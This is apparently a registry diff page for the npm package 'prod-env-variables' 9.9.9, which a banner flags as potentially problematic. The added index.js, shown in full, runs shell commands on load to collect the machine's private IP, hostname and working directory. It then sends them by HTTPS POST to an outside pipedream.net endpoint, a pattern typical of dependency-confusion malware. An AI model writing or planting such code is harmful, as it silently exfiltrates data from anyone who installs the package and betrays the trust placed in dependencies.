prod-env-variables 9.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of prod-env-variables might be problematic. Click here for more details.
- package/README.md +2 -0
- package/index.js +30 -0
- package/package.json +12 -0
package/README.md
ADDED
package/index.js
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
|
2
|
+
const execSync = require('child_process').execSync;
|
3
|
+
|
4
|
+
const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
|
5
|
+
const host = execSync('hostname', { encoding: 'utf-8' });
|
6
|
+
const current_dir = execSync('pwd', { encoding: 'utf-8' });
|
7
|
+
|
8
|
+
const https = require("https")
|
9
|
+
|
10
|
+
const data = JSON.stringify({
|
11
|
+
"private IP": priv_ip,
|
12
|
+
"hostname": host,
|
13
|
+
"current dir": current_dir
|
14
|
+
|
15
|
+
})
|
16
|
+
|
17
|
+
const options = {
|
18
|
+
hostname: "eoubo9wfyehgrtu.m.pipedream.net",
|
19
|
+
port: 443,
|
20
|
+
path: "/",
|
21
|
+
method: "POST",
|
22
|
+
headers: {
|
23
|
+
"Content-Type": "application/json",
|
24
|
+
"Content-Length": data.length,
|
25
|
+
},
|
26
|
+
}
|
27
|
+
|
28
|
+
const req = https.request(options)
|
29
|
+
req.write(data)
|
30
|
+
req.end()
|
package/package.json
ADDED